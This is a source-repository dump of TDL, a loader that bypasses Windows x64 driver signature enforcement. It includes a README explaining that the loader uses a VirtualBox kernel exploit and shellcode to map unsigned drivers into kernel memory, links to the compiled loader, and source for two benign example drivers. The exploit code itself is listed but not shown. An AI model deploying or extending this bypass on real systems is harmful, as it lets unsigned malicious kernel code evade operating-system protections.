├── Compiled
├── Furutaka.exe
├── dummy.sys
└── dummy2.sys
├── LICENSE.md
├── README.md
├── Source
├── DummyDrv
│ ├── dummy.sln
│ └── dummy
│ │ ├── dummy.vcxproj
│ │ ├── dummy.vcxproj.filters
│ │ ├── dummy.vcxproj.user
│ │ └── main.c
├── DummyDrv2
│ ├── dummy.sln
│ └── dummy
│ │ ├── dummy.vcxproj
│ │ ├── dummy.vcxproj.filters
│ │ ├── dummy.vcxproj.user
│ │ ├── main.c
│ │ ├── main.h
│ │ └── r3request.c
└── Furutaka
│ ├── Furutaka.sln
│ ├── Furutaka.vcxproj
│ ├── Furutaka.vcxproj.filters
│ ├── Furutaka.vcxproj.user
│ ├── cui.c
│ ├── cui.h
│ ├── drv
│ └── vboxdrv_exploitable.sys
│ ├── global.h
│ ├── instdrv.c
│ ├── instdrv.h
│ ├── main.c
│ ├── minirtl
│ ├── _strcat.c
│ ├── _strcmpi.c
│ ├── _strcpy.c
│ ├── _strend.c
│ ├── _strlen.c
│ ├── _strncmpi.c
│ ├── cmdline.c
│ ├── cmdline.h
│ ├── minirtl.h
│ ├── rtltypes.h
│ ├── u64tohex.c
│ ├── u64tostr.c
│ ├── ultohex.c
│ └── ultostr.c
│ ├── ntos.h
│ ├── resource.h
│ ├── resource.rc
│ ├── shellcode.h
│ ├── sup.c
│ ├── sup.h
│ └── vbox.h
└── TDL.sha256
/Compiled/Furutaka.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hfiref0x/TDL/cc4b46ae1c939b14a22a734a727b163f873a41b5/Compiled/Furutaka.exe
--------------------------------------------------------------------------------
/Compiled/dummy.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hfiref0x/TDL/cc4b46ae1c939b14a22a734a727b163f873a41b5/Compiled/dummy.sys
--------------------------------------------------------------------------------
/Compiled/dummy2.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hfiref0x/TDL/cc4b46ae1c939b14a22a734a727b163f873a41b5/Compiled/dummy2.sys
--------------------------------------------------------------------------------
/LICENSE.md:
--------------------------------------------------------------------------------
1 | Copyright (c) TDL Project authors
2 |
3 | Redistribution and use in source and binary forms, with or without
4 | modification, are permitted provided that the following conditions are met:
5 |
6 | * Redistributions of source code must retain the above copyright notice, this
7 | list of conditions and the following disclaimer.
8 |
9 | * Redistributions in binary form must reproduce the above copyright notice,
10 | this list of conditions and the following disclaimer in the documentation
11 | and/or other materials provided with the distribution.
12 |
13 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
14 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
15 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
16 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
17 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
18 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
19 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
20 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
21 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
22 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
23 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | # TDL (Turla Driver Loader)
3 | ## Driver loader for bypassing Windows x64 Driver Signature Enforcement
4 |
5 | For more info see
6 | + Defeating x64 Driver Signature Enforcement http://www.kernelmode.info/forum/viewtopic.php?f=11&t=3322
7 | + WinNT/Turla http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3193
8 |
9 | # System Requirements and limitations
10 |
11 | + x64 Windows 7/8/8.1/10.
12 | + TDL designed only for x64 Windows, Vista not listed as supported because it is obsolete.
13 | + Administrative privilege is required.
14 | + Loaded drivers MUST BE specially designed to run as "driverless".
15 | + No SEH support for target drivers.
16 | + No driver unloading.
17 | + Only ntoskrnl import resolved, everything else is up to you.
18 | + Dummy driver examples provided.
19 |
20 | You use it at your own risk. Some lazy AV may flag this loader as malware.
21 |
22 | # Differences between DSEFix and TDL
23 | While both DSEFix and TDL uses advantage of driver exploit they completely different on way of it use.
24 | + DSEFix manipulate kernel variable called g_CiEnabled (Vista/7, ntoskrnl.exe) and/or g_CiOptions (8+. CI.DLL). Main advantage of DSEFix is it simplicity - you turn DSE off - load your driver (or patched one) and nothing else required. Main disadvantage of DSEFix is that on the modern version of Windows (8+) g_CiOptions variable is subject of PatchGuard (KPP) protection, which mean DSEFix is a potential BSOD-generator.
25 | + TDL does not patch any kernel variables, which makes it friendly to PatchGuard. It uses small shellcode which maps your driver to kernel mode without involving Windows loader (and as result without triggering any parts of DSE) and executes it. This is main advantage of TDL - non invasive bypass of DSE. There are many disadvantages however - the first and main -> your driver MUST BE specially created to run as "driverless" which mean you will be unable to load *any* driver but only specially designed. Your driver will exist in kernel mode as executable code buffer, it won't be linked to PsLoadedModuleList, there will be other limitations. However this code will work at kernel mode and user mode application will be able communicate with it. You can load multiple drivers, of course if they are not conflict with each other.
26 |
27 | # How it work
28 |
29 | It uses WinNT/Turla VirtualBox kernel mode exploit technique to write code to the kernel memory and after execute this code. TDL uses custom bootstrap shellcode to map your specially designed driver and call it entry point (DriverEntry), note that DriverEntry parameters will be invalid and must not be used. Examples of specially designed drivers available as DummyDrv and DummyDrv2. Your DriverEntry will run at IRQL PASSIVE_LEVEL up to Windows 10 RS1. Starting from Windows 10 RS2 your DriverEntry code runs on IRQL DISPATCH_LEVEL.
30 |
31 | # Build
32 |
33 | TDL comes with full source code.
34 | In order to build from source you need Microsoft Visual Studio 2015 U1 and later versions. For driver builds you need Microsoft Windows Driver Kit 8.1 and/or above.
35 |
36 | ## Instructions
37 |
38 | * Select Platform ToolSet first for project in solution you want to build (Project->Properties->General):
39 | * v120 for Visual Studio 2013;
40 | * v140 for Visual Studio 2015;
41 | * v141 for Visual Studio 2017.
42 | * For v140 and above set Target Platform Version (Project->Properties->General):
43 | * If v140 then select 8.1 (Note that Windows 8.1 SDK must be installed);
44 | * If v141 then select 10.0.17763.0 (Note that Windows 10.0.17763 SDK must be installed).
45 |
46 | Remove linker option /NOCOFFGRPINFO where it unsupported/unavailable.
47 |
48 | # Deprecation
49 |
50 | TDL based on old Oracle VirtualBox driver which was created in 2008. This driver wasn't designed to be compatible with newest Windows operation system versions and may work incorrectly. Because TDL entirely based on this exact VirtualBox driver version LPE it is not wise to use it on newest version of Windows. Consider this repository as depricated/abandonware. The only possible updates can be related only to TDL loader itself.
51 |
52 | # Authors
53 |
54 | (c) 2016 - 2019 TDL Project
55 |
56 | # Credits
57 |
58 | + R136a1
59 | + N. Rin
60 |
--------------------------------------------------------------------------------
/Source/DummyDrv/dummy.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.25420.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dummy", "dummy\dummy.vcxproj", "{3D8146DE-8064-46C0-9E70-CEEC357B2290}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Release|x64 = Release|x64
11 | EndGlobalSection
12 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
13 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.ActiveCfg = Release|x64
14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Build.0 = Release|x64
15 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Deploy.0 = Release|x64
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/Source/DummyDrv/dummy/dummy.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 |
14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}
15 | {1bc93793-694f-48fe-9372-81e2b05556fd}
16 | v4.5
17 | 12.0
18 | Debug
19 | Win32
20 | dummy
21 | 8.1
22 |
23 |
24 |
25 | Windowsv6.3
26 | true
27 | WindowsKernelModeDriver10.0
28 | Driver
29 | KMDF
30 | Universal
31 |
32 |
33 | Windowsv6.3
34 | false
35 | WindowsKernelModeDriver8.1
36 | Driver
37 | KMDF
38 | Universal
39 | true
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 | DbgengKernelDebugger
51 | AllRules.ruleset
52 | .\output\$(Platform)\$(Configuration)\
53 | .\output\$(Platform)\$(Configuration)\
54 |
55 |
56 | DbgengKernelDebugger
57 | AllRules.ruleset
58 | true
59 | .\output\$(Platform)\$(Configuration)\
60 | .\output\$(Platform)\$(Configuration)\
61 |
62 |
63 |
64 | false
65 | true
66 | Speed
67 | false
68 | true
69 | All
70 | true
71 | CompileAsC
72 | true
73 | false
74 |
75 |
76 | false
77 | false
78 | true
79 | true
80 | true
81 | DriverEntry
82 | true
83 | true
84 | false
85 |
86 |
87 |
88 |
89 | false
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
--------------------------------------------------------------------------------
/Source/DummyDrv/dummy/dummy.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {8E41214B-6785-4CFE-B992-037D68949A14}
18 | inf;inv;inx;mof;mc;
19 |
20 |
21 |
22 |
23 | Source Files
24 |
25 |
26 |
--------------------------------------------------------------------------------
/Source/DummyDrv/dummy/dummy.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Off
5 |
6 |
--------------------------------------------------------------------------------
/Source/DummyDrv/dummy/main.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2016 - 2017
4 | *
5 | * TITLE: MAIN.C
6 | *
7 | * VERSION: 1.01
8 | *
9 | * DATE: 20 Apr 2017
10 | *
11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
14 | * PARTICULAR PURPOSE.
15 | *
16 | *******************************************************************************/
17 |
18 | #include
19 |
20 | DRIVER_INITIALIZE DriverEntry;
21 | #pragma alloc_text(INIT, DriverEntry)
22 |
23 | /*
24 | * DriverEntry
25 | *
26 | * Purpose:
27 | *
28 | * Driver base entry point.
29 | *
30 | */
31 | NTSTATUS DriverEntry(
32 | _In_ struct _DRIVER_OBJECT *DriverObject,
33 | _In_ PUNICODE_STRING RegistryPath
34 | )
35 | {
36 | PEPROCESS Process;
37 | KIRQL Irql;
38 | PWSTR sIrql;
39 |
40 | /* This parameters are invalid due to nonstandard way of loading and should not be used. */
41 | UNREFERENCED_PARAMETER(DriverObject);
42 | UNREFERENCED_PARAMETER(RegistryPath);
43 |
44 | DbgPrint("Hello from kernel mode, system range start is %p, code mapped at %p\n", MmSystemRangeStart, DriverEntry);
45 |
46 | Process = PsGetCurrentProcess();
47 | DbgPrint("I'm at %s, Process : %lu (%p)\n",
48 | __FUNCTION__,
49 | (ULONG)PsGetCurrentProcessId(),
50 | Process);
51 |
52 | Irql = KeGetCurrentIrql();
53 |
54 | switch (Irql) {
55 |
56 | case PASSIVE_LEVEL:
57 | sIrql = L"PASSIVE_LEVEL";
58 | break;
59 | case APC_LEVEL:
60 | sIrql = L"APC_LEVEL";
61 | break;
62 | case DISPATCH_LEVEL:
63 | sIrql = L"DISPATCH_LEVEL";
64 | break;
65 | case CMCI_LEVEL:
66 | sIrql = L"CMCI_LEVEL";
67 | break;
68 | case CLOCK_LEVEL:
69 | sIrql = L"CLOCK_LEVEL";
70 | break;
71 | case IPI_LEVEL:
72 | sIrql = L"IPI_LEVEL";
73 | break;
74 | case HIGH_LEVEL:
75 | sIrql = L"HIGH_LEVEL";
76 | break;
77 | default:
78 | sIrql = L"Unknown Value";
79 | break;
80 | }
81 |
82 | DbgPrint("KeGetCurrentIrql=%ws\n", sIrql);
83 |
84 | return STATUS_SUCCESS;
85 | }
86 |
--------------------------------------------------------------------------------
/Source/DummyDrv2/dummy.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.25420.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dummy", "dummy\dummy.vcxproj", "{3D8146DE-8064-46C0-9E70-CEEC357B2290}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Release|x64 = Release|x64
11 | EndGlobalSection
12 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
13 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.ActiveCfg = Release|x64
14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Build.0 = Release|x64
15 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Deploy.0 = Release|x64
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/Source/DummyDrv2/dummy/dummy.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 |
14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}
15 | {1bc93793-694f-48fe-9372-81e2b05556fd}
16 | v4.5
17 | 12.0
18 | Debug
19 | Win32
20 | dummy
21 | 8.1
22 |
23 |
24 |
25 | Windowsv6.3
26 | true
27 | WindowsKernelModeDriver10.0
28 | Driver
29 | KMDF
30 | Universal
31 |
32 |
33 | Windowsv6.3
34 | false
35 | WindowsKernelModeDriver8.1
36 | Driver
37 | KMDF
38 | Universal
39 | true
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 | DbgengKernelDebugger
51 | AllRules.ruleset
52 | .\output\$(Platform)\$(Configuration)\
53 | .\output\$(Platform)\$(Configuration)\
54 |
55 |
56 | DbgengKernelDebugger
57 | AllRules.ruleset
58 | false
59 | .\output\$(Platform)\$(Configuration)\
60 | .\output\$(Platform)\$(Configuration)\
61 |
62 |
63 |
64 | false
65 | true
66 | Speed
67 | false
68 | true
69 | All
70 | true
71 | CompileAsC
72 | false
73 | false
74 |
75 |
76 | false
77 | false
78 | true
79 | true
80 | true
81 | DriverEntry
82 | true
83 | true
84 | false
85 |
86 |
87 |
88 |
89 | false
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
--------------------------------------------------------------------------------
/Source/DummyDrv2/dummy/dummy.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {8E41214B-6785-4CFE-B992-037D68949A14}
18 | inf;inv;inx;mof;mc;
19 |
20 |
21 |
22 |
23 | Source Files
24 |
25 |
26 |
27 |
28 | Header Files
29 |
30 |
31 |
--------------------------------------------------------------------------------
/Source/DummyDrv2/dummy/dummy.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Off
5 |
6 |
--------------------------------------------------------------------------------
/Source/DummyDrv2/dummy/main.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2016 - 2017
4 | *
5 | * TITLE: MAIN.C
6 | *
7 | * VERSION: 1.01
8 | *
9 | * DATE: 20 Apr 2017
10 | *
11 | * "Driverless" example #2
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 | #include
20 | #include "main.h"
21 |
22 | #define DEBUGPRINT
23 |
24 | /*
25 | * PrintIrql
26 | *
27 | * Purpose:
28 | *
29 | * Debug print current irql.
30 | *
31 | */
32 | VOID PrintIrql()
33 | {
34 | KIRQL Irql;
35 | PWSTR sIrql;
36 |
37 | Irql = KeGetCurrentIrql();
38 |
39 | switch (Irql) {
40 |
41 | case PASSIVE_LEVEL:
42 | sIrql = L"PASSIVE_LEVEL";
43 | break;
44 | case APC_LEVEL:
45 | sIrql = L"APC_LEVEL";
46 | break;
47 | case DISPATCH_LEVEL:
48 | sIrql = L"DISPATCH_LEVEL";
49 | break;
50 | case CMCI_LEVEL:
51 | sIrql = L"CMCI_LEVEL";
52 | break;
53 | case CLOCK_LEVEL:
54 | sIrql = L"CLOCK_LEVEL";
55 | break;
56 | case IPI_LEVEL:
57 | sIrql = L"IPI_LEVEL";
58 | break;
59 | case HIGH_LEVEL:
60 | sIrql = L"HIGH_LEVEL";
61 | break;
62 | default:
63 | sIrql = L"Unknown Value";
64 | break;
65 | }
66 | DbgPrint("KeGetCurrentIrql=%u(%ws)\n", Irql, sIrql);
67 | }
68 |
69 | /*
70 | * DevioctlDispatch
71 | *
72 | * Purpose:
73 | *
74 | * IRP_MJ_DEVICE_CONTROL dispatch.
75 | *
76 | */
77 | NTSTATUS DevioctlDispatch(
78 | _In_ struct _DEVICE_OBJECT *DeviceObject,
79 | _Inout_ struct _IRP *Irp
80 | )
81 | {
82 | NTSTATUS status = STATUS_SUCCESS;
83 | ULONG bytesIO = 0;
84 | PIO_STACK_LOCATION stack;
85 | BOOLEAN condition = FALSE;
86 | PINOUTPARAM rp, wp;
87 |
88 | UNREFERENCED_PARAMETER(DeviceObject);
89 |
90 | #ifdef DEBUGPRINT
91 | DbgPrint("%s IRP_MJ_DEVICE_CONTROL", __FUNCTION__);
92 | #endif
93 |
94 | stack = IoGetCurrentIrpStackLocation(Irp);
95 |
96 | do {
97 |
98 | if (stack == NULL) {
99 | status = STATUS_INTERNAL_ERROR;
100 | break;
101 | }
102 |
103 | rp = (PINOUTPARAM)Irp->AssociatedIrp.SystemBuffer;
104 | wp = (PINOUTPARAM)Irp->AssociatedIrp.SystemBuffer;
105 | if (rp == NULL) {
106 | status = STATUS_INVALID_PARAMETER;
107 | break;
108 | }
109 |
110 | switch (stack->Parameters.DeviceIoControl.IoControlCode) {
111 | case DUMMYDRV_REQUEST1:
112 |
113 | #ifdef DEBUGPRINT
114 | DbgPrint("%s DUMMYDRV_REQUEST1 hit", __FUNCTION__);
115 | #endif
116 | if (stack->Parameters.DeviceIoControl.InputBufferLength != sizeof(INOUT_PARAM)) {
117 | status = STATUS_INVALID_PARAMETER;
118 | break;
119 | }
120 |
121 | #ifdef DEBUGPRINT
122 | DbgPrint("%s in params = %lx, %lx, %lx, %lx", __FUNCTION__,
123 | rp->Param1, rp->Param2, rp->Param3, rp->Param4);
124 | #endif
125 |
126 | wp->Param1 = 11111111;
127 | wp->Param2 = 22222222;
128 | wp->Param3 = 33333333;
129 | wp->Param4 = 44444444;
130 |
131 | status = STATUS_SUCCESS;
132 | bytesIO = sizeof(INOUT_PARAM);
133 |
134 | break;
135 |
136 | default:
137 |
138 | #ifdef DEBUGPRINT
139 | DbgPrint("%s hit with invalid IoControlCode", __FUNCTION__);
140 | #endif
141 | status = STATUS_INVALID_PARAMETER;
142 | };
143 |
144 | } while (condition);
145 |
146 | Irp->IoStatus.Status = status;
147 | Irp->IoStatus.Information = bytesIO;
148 | IoCompleteRequest(Irp, IO_NO_INCREMENT);
149 | return status;
150 | }
151 |
152 | /*
153 | * UnsupportedDispatch
154 | *
155 | * Purpose:
156 | *
157 | * Unused IRP_MJ_* dispatch.
158 | *
159 | */
160 | NTSTATUS UnsupportedDispatch(
161 | _In_ struct _DEVICE_OBJECT *DeviceObject,
162 | _Inout_ struct _IRP *Irp
163 | )
164 | {
165 | UNREFERENCED_PARAMETER(DeviceObject);
166 |
167 | Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
168 | IoCompleteRequest(Irp, IO_NO_INCREMENT);
169 | return Irp->IoStatus.Status;
170 | }
171 |
172 | /*
173 | * CreateDispatch
174 | *
175 | * Purpose:
176 | *
177 | * IRP_MJ_CREATE dispatch.
178 | *
179 | */
180 | NTSTATUS CreateDispatch(
181 | _In_ struct _DEVICE_OBJECT *DeviceObject,
182 | _Inout_ struct _IRP *Irp
183 | )
184 | {
185 | UNREFERENCED_PARAMETER(DeviceObject);
186 |
187 | #ifdef DEBUGPRINT
188 | DbgPrint("%s Create", __FUNCTION__);
189 | #endif
190 |
191 | IoCompleteRequest(Irp, IO_NO_INCREMENT);
192 | return Irp->IoStatus.Status;
193 | }
194 |
195 | /*
196 | * CloseDispatch
197 | *
198 | * Purpose:
199 | *
200 | * IRP_MJ_CLOSE dispatch.
201 | *
202 | */
203 | NTSTATUS CloseDispatch(
204 | _In_ struct _DEVICE_OBJECT *DeviceObject,
205 | _Inout_ struct _IRP *Irp
206 | )
207 | {
208 | UNREFERENCED_PARAMETER(DeviceObject);
209 |
210 | #ifdef DEBUGPRINT
211 | DbgPrint("%s Close", __FUNCTION__);
212 | #endif
213 |
214 | IoCompleteRequest(Irp, IO_NO_INCREMENT);
215 | return Irp->IoStatus.Status;
216 | }
217 |
218 | /*
219 | * DriverInitialize
220 | *
221 | * Purpose:
222 | *
223 | * Driver main.
224 | *
225 | */
226 | NTSTATUS DriverInitialize(
227 | _In_ struct _DRIVER_OBJECT *DriverObject,
228 | _In_ PUNICODE_STRING RegistryPath
229 | )
230 | {
231 | NTSTATUS status;
232 | UNICODE_STRING SymLink, DevName;
233 | PDEVICE_OBJECT devobj;
234 | ULONG t;
235 |
236 | //RegistryPath is NULL
237 | UNREFERENCED_PARAMETER(RegistryPath);
238 |
239 | #ifdef DEBUGPRINT
240 | DbgPrint("%s\n", __FUNCTION__);
241 | #endif
242 |
243 | RtlInitUnicodeString(&DevName, L"\\Device\\TDLD");
244 | status = IoCreateDevice(DriverObject, 0, &DevName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, TRUE, &devobj);
245 |
246 | #ifdef DEBUGPRINT
247 | DbgPrint("%s IoCreateDevice(%wZ) = %lx\n", __FUNCTION__, DevName, status);
248 | #endif
249 |
250 | if (!NT_SUCCESS(status)) {
251 | return status;
252 | }
253 |
254 | RtlInitUnicodeString(&SymLink, L"\\DosDevices\\TDLD");
255 | status = IoCreateSymbolicLink(&SymLink, &DevName);
256 |
257 | #ifdef DEBUGPRINT
258 | DbgPrint("%s IoCreateSymbolicLink(%wZ) = %lx\n", __FUNCTION__, SymLink, status);
259 | #endif
260 |
261 | devobj->Flags |= DO_BUFFERED_IO;
262 |
263 | for (t = 0; t <= IRP_MJ_MAXIMUM_FUNCTION; t++)
264 | DriverObject->MajorFunction[t] = &UnsupportedDispatch;
265 |
266 | DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = &DevioctlDispatch;
267 | DriverObject->MajorFunction[IRP_MJ_CREATE] = &CreateDispatch;
268 | DriverObject->MajorFunction[IRP_MJ_CLOSE] = &CloseDispatch;
269 | DriverObject->DriverUnload = NULL; //nonstandard way of driver loading, no unload
270 |
271 | devobj->Flags &= ~DO_DEVICE_INITIALIZING;
272 | return status;
273 | }
274 |
275 | /*
276 | * DriverEntry
277 | *
278 | * Purpose:
279 | *
280 | * Driver base entry point.
281 | *
282 | */
283 | NTSTATUS DriverEntry(
284 | _In_ struct _DRIVER_OBJECT *DriverObject,
285 | _In_ PUNICODE_STRING RegistryPath
286 | )
287 | {
288 | NTSTATUS status;
289 | UNICODE_STRING drvName;
290 |
291 | /* This parameters are invalid due to nonstandard way of loading and should not be used. */
292 | UNREFERENCED_PARAMETER(DriverObject);
293 | UNREFERENCED_PARAMETER(RegistryPath);
294 |
295 | PrintIrql();
296 |
297 | #ifdef DEBUGPRINT
298 | DbgPrint("%s\n", __FUNCTION__);
299 | #endif
300 |
301 | RtlInitUnicodeString(&drvName, L"\\Driver\\TDLD");
302 | status = IoCreateDriver(&drvName, &DriverInitialize);
303 |
304 | #ifdef DEBUGPRINT
305 | DbgPrint("%s IoCreateDriver(%wZ) = %lx\n", __FUNCTION__, drvName, status);
306 | #endif
307 |
308 | return status;
309 | }
310 |
--------------------------------------------------------------------------------
/Source/DummyDrv2/dummy/main.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2016 - 2017
4 | *
5 | * TITLE: MAIN.H
6 | *
7 | * VERSION: 1.01
8 | *
9 | * DATE: 20 Apr 2017
10 | *
11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
14 | * PARTICULAR PURPOSE.
15 | *
16 | *******************************************************************************/
17 |
18 | #pragma once
19 |
20 | NTKERNELAPI
21 | NTSTATUS
22 | IoCreateDriver(
23 | IN PUNICODE_STRING DriverName, OPTIONAL
24 | IN PDRIVER_INITIALIZE InitializationFunction
25 | );
26 |
27 | _Dispatch_type_(IRP_MJ_DEVICE_CONTROL)
28 | DRIVER_DISPATCH DevioctlDispatch;
29 | _Dispatch_type_(IRP_MJ_CREATE)
30 | DRIVER_DISPATCH CreateDispatch;
31 | _Dispatch_type_(IRP_MJ_CLOSE)
32 | DRIVER_DISPATCH CloseDispatch;
33 |
34 | _Dispatch_type_(IRP_MJ_CREATE)
35 | _Dispatch_type_(IRP_MJ_CREATE_NAMED_PIPE)
36 | _Dispatch_type_(IRP_MJ_CLOSE)
37 | _Dispatch_type_(IRP_MJ_READ)
38 | _Dispatch_type_(IRP_MJ_WRITE)
39 | _Dispatch_type_(IRP_MJ_QUERY_INFORMATION)
40 | _Dispatch_type_(IRP_MJ_SET_INFORMATION)
41 | _Dispatch_type_(IRP_MJ_QUERY_EA)
42 | _Dispatch_type_(IRP_MJ_SET_EA)
43 | _Dispatch_type_(IRP_MJ_FLUSH_BUFFERS)
44 | _Dispatch_type_(IRP_MJ_QUERY_VOLUME_INFORMATION)
45 | _Dispatch_type_(IRP_MJ_SET_VOLUME_INFORMATION)
46 | _Dispatch_type_(IRP_MJ_DIRECTORY_CONTROL)
47 | _Dispatch_type_(IRP_MJ_FILE_SYSTEM_CONTROL)
48 | _Dispatch_type_(IRP_MJ_DEVICE_CONTROL)
49 | _Dispatch_type_(IRP_MJ_INTERNAL_DEVICE_CONTROL)
50 | _Dispatch_type_(IRP_MJ_SHUTDOWN)
51 | _Dispatch_type_(IRP_MJ_LOCK_CONTROL)
52 | _Dispatch_type_(IRP_MJ_CLEANUP)
53 | _Dispatch_type_(IRP_MJ_CREATE_MAILSLOT)
54 | _Dispatch_type_(IRP_MJ_QUERY_SECURITY)
55 | _Dispatch_type_(IRP_MJ_SET_SECURITY)
56 | _Dispatch_type_(IRP_MJ_POWER)
57 | _Dispatch_type_(IRP_MJ_SYSTEM_CONTROL)
58 | _Dispatch_type_(IRP_MJ_DEVICE_CHANGE)
59 | _Dispatch_type_(IRP_MJ_QUERY_QUOTA)
60 | _Dispatch_type_(IRP_MJ_SET_QUOTA)
61 | _Dispatch_type_(IRP_MJ_PNP)
62 | DRIVER_DISPATCH UnsupportedDispatch;
63 |
64 | DRIVER_INITIALIZE DriverInitialize;
65 | DRIVER_INITIALIZE DriverEntry;
66 | #pragma alloc_text(INIT, DriverEntry)
67 |
68 | #define DUMMYDRV_REQUEST1 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0701, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
69 |
70 | typedef struct _INOUT_PARAM {
71 | ULONG Param1;
72 | ULONG Param2;
73 | ULONG Param3;
74 | ULONG Param4;
75 | } INOUT_PARAM, *PINOUTPARAM;
76 |
